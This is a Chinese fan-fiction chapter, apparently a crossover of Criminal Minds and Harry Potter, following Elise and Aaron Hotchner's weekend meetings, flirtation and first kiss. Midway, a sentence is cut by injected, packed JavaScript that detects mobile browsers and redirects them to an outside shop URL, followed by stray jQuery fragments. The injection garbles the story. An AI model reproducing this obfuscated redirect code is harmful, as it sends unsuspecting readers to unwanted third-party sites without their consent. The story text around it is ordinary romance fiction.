从那天起，伊莉丝和霍奇纳开始了一种奇特的联系。
他们住在不同的城市，伊莉丝在波士顿，霍奇纳在匡提科。但每个周末，只要条件允许，他们就会见面。有时候是霍奇纳开车北上，有时候是伊莉丝坐火车南下。
他们在咖啡店里讨论案件，在图书馆里翻阅学术论文，在深夜的电话里交换对人性黑暗的思考。他们也寻找好的餐厅互相分享，最后沿着查尔斯河散步，如果是在波士顿的话。
有时候他们会去一起看一场电影。通常是动作片，因为霍奇纳说“爱情片太unrealistic”，而伊莉丝说“恐怖片太predictable”。他们看完电影后会争论剧情中的逻辑漏洞，然后发现对方和自己想的一模一样。
“你又在替我说话了。”伊莉丝有一次说。
“我没有，”霍奇纳说，“我们只是想法一致。”
“这不creepy吗？”
“不，这很方便。”
伊莉丝笑着摇了摇头，“你的浪漫细胞为零。”
霍奇纳沉默了一会儿，然后他说了一句让伊莉丝心跳错拍的话：
“浪漫不是我的强项，但我会努力。”
伊莉丝转过头看向霍奇纳。他的表情很认真。那种认真的程度让伊莉丝意识到，他不是在说玩笑话，他是在做一个承诺。
“你不用努力，”伊莉丝说，声音比她自己预期的更轻，“你做你自己就够了。”
霍奇纳看着她，他的眼睛里有光，安静持久，像深冬里驿站不灭的灯火。
“你也是。”他说。
—-----------------------------
有一天，他们在咖啡店里讨论一个连环杀手的案例。伊莉丝在纸上画了一个行为模式图，霍奇纳凑过来看。他的肩膀碰到了她的肩膀，他的头发蹭到了她的脸颊。
伊莉丝的身体僵了一秒，霍奇纳也是。
然后他们同时往后退了一点，同时说“对不起”，同时笑了。
“你的头发蹭到我了。”伊莉丝说。
“抱歉。”
“没关系。你用的什么洗发水？闻起来不错。”
艾伦的耳朵红了，“军队配发的，没有牌子。”
“那你的基因不错。”伊莉丝说完才意识到自己说了什么，忙更正，“我是说，你的头发……算了。”
艾伦看着她，明亮的笑了起来。那是伊莉丝见过他最大幅度的笑，他的整张脸都亮了，像冬天的太阳从云层后面探出脸来。
“你的基因也不错。”他说。
伊莉丝把脸埋进了咖啡杯里。
这就是他们第一次互相调情，如果这种笨拙的像两个高中生一样的对话也可以被称作调情的话。
—--------------------------
随着时间的推移，他们之间也越来越熟稔。
伊莉丝发现霍奇纳会在她说话的时候专注地看着她，真正的全身心投入的关注。他记得她说的每一句话，即便是那边她随口一提的事情。比如说有一次见面他就在咖啡桌上放了一束百合花。
“你知道？”伊莉丝看着那束百合花，惊讶。
“你说过，”霍奇纳说，“在你姐姐的信里。”
伊莉丝愣了一下，然后想起来了。两周前，霍奇纳来她公寓接她时，她正读完莉莉报平安的信，信里提到她种的百合花开了。于是伊莉丝随口和他说了一句，“是我姐姐的信，她说为我种的百合开了。”
“你连这个都记得？”伊莉丝问。
霍奇纳的表情没有变，好像这是一件很正常的事情，“我记得你说过的每一句话。”
伊莉丝的心脏扑通，“为什么？”
霍奇纳在短暂沉默后说，“因为我想记住。”
伊莉丝站在那束百合花前，眼泪充满绿色的眼眸。但她控制住了，没有让泪水真的掉落，因为那实在太尴尬了。但她没控制住嘴角的笑。
“你的情话水平提高了。”伊莉丝说，声音带着控制过后的沙哑。
“我练习了。”霍奇纳说。
伊莉丝笑出了声音，她低下头，闻了闻百合花的香气。淡淡的，甜甜的，像春日阳光。
“谢谢你，艾伦。”她说。
“不客气。”
他们坐在咖啡店的角落里，中间隔着一束百合花。霍奇纳的手放在桌上，离伊莉丝的手只有几厘米。
伊莉丝看着他的手。他的手很好看，修长有力，指节分明。她突然想握住它。
她没有，但她的手移动了一厘米。
霍奇纳的手也移了过来，他们的手指几乎要碰到一起。
然后咖啡店的服务员走过来问他们要不要续杯，伊莉丝缩回了自己的手。
那天晚上，伊莉丝躺在床上，盯着天花板，回忆起了霍奇纳当时没有缩回去的手。
“你在干什么？”她对自己说，“你是一个哈佛毕业的心理学家。你不应该像一个小女孩一样想着一个男人的手指发呆。”
但她的心脏不听她的话。
—-------------------------------------
即便如此，伊莉丝从未告诉霍奇纳关于魔法世界的事。在她的波士顿生活里，那个世界被小心翼翼地折叠了起来，放进了一个上锁的盒子。她的朋友们只知道她的家庭住在英国，不知道她的姐姐正在与黑巫师作战。
但霍奇纳的确有一种能力，让伊莉丝忍不住靠近。他能让伊莉丝感到安全。仿佛当伊莉丝站在黑暗深渊的边缘上时，有一个人也在那里戍边。
几个月后的一个晚上，他们在伊莉丝位于波士顿的公寓里，窗外下着雨，房间里只开了一盏台灯。伊莉丝坐在沙发上，手里拿着一本案例报告，但她一个字也看不进去。
她的脑海里反复回放着今天早上收到的那封信。
信上是莉莉的笔迹，潦草而急促：
伊莉丝，我们都很安全，不用担心。来信只是想告诉你，当前情势糟糕。邓布利多说将来我们可能不得不使用一些方法躲藏起来。我不知道未来会怎么样，但只想告诉你，我爱你，你是我最好的妹妹。无论发生什么，请记住这一点。
伊莉丝把这封简短的信读了三遍，然后把它
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449484|201130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烧掉了。她不能让任何人发现它，在这个麻瓜的世界里，一封来自女巫的信会引起太多无法回答的问题。
“伊莉丝？”
霍奇纳的声音把她拉回了现实。她抬起来，发现他正站在她面前，手里端着两杯咖啡。他刚洗过被雨淋湿的头发，半干的头发垂在额前，让他看起来比平时年轻很多。
“你看起来很累，”霍奇纳说，把咖啡递给她。
“我只是……收到了一些家里的消息。”伊莉丝接过杯子，感受着掌心的温度。
霍奇纳在她身边坐下，他没有追问。这是伊莉丝最欣赏他的地方之一，他从不过度追问，总是给她足够的空间来决定她想分享什么。
“我姐姐生了个儿子，”伊莉丝最终说，同时在心里默默补充，几年前。她觉得她好像有一些可以分享的部分，“她住在英国，我不常见她。”
“恭喜你当姨妈了。”霍奇纳说，语气温和。
“谢谢。”伊莉丝说。她低下头，看着咖啡表面漂浮的细小油脂，“我有点担心她。她……她的婚姻生活不太顺利。”这是她能找到的最接近事实的谎言。
霍奇纳沉默了一会儿，然后他说，“你姐姐很幸运。”
伊莉丝抬起头。
“有你这样的妹妹。”霍奇纳补充道。他的目光落在她脸上，那双深棕色的眼睛在台灯的暖光下显得格外柔软。“你每次提到她的时候，声音都会变得不一样。”
伊莉丝的心脏猛地跳了一下，在这种温暖的注视中。
“哪里不一样？”她轻声问。
“更温柔，”霍奇纳说，“像……你在谈论一件你十分害怕失去的事物。”
房间里安静了很久。雨点敲打着窗户，发出细碎的声响。伊莉丝看着霍奇纳的侧脸，他的轮廓。
“艾伦。”她说。
“嗯？”
“你为什么想保护别人？”
这个问题似乎让他愣了一下。他想了很久，久到伊莉丝以为他不会回答。
“因为我小时候没人保护我的母亲。”他最终说，声音低得像耳语。“我父亲，他不是一个好丈夫。我看着她哭，而我什么都做不了，我太小了。”
伊莉丝的呼吸停了一秒。
“所以我发誓，”霍奇纳继续说，目光落在窗外的雨幕上，“等我长大了，我要成为那个保护别人的人。我要成为那个……站在弱者和危险之间的人。”
伊莉丝放下了咖啡杯。她伸出手，轻轻握住了他的手。
“你做到了。”她说。
霍奇纳转头看她，他的眼睛里有什么东西在融化。
那天晚上，他们第一次接吻。
它发生得很自然，就像一条河流汇入大海，就像一片雪花落在湖面。霍奇纳的手轻轻捧着伊莉丝的脸颊，他的嘴唇贴上她的，带着咖啡的苦涩和雨水的清冷。伊莉丝闭上眼睛，感觉到一种微弱的安宁，像坚持点亮的灯塔等来了暴风雨中远航的水手。
虽然霍奇纳不知道伊莉丝的秘密世界，伊莉丝也不知道霍奇纳的过去远比她想象的更破碎，但他们在彼此的陪伴中找到了一种平衡。他们在深渊的边缘互相支撑。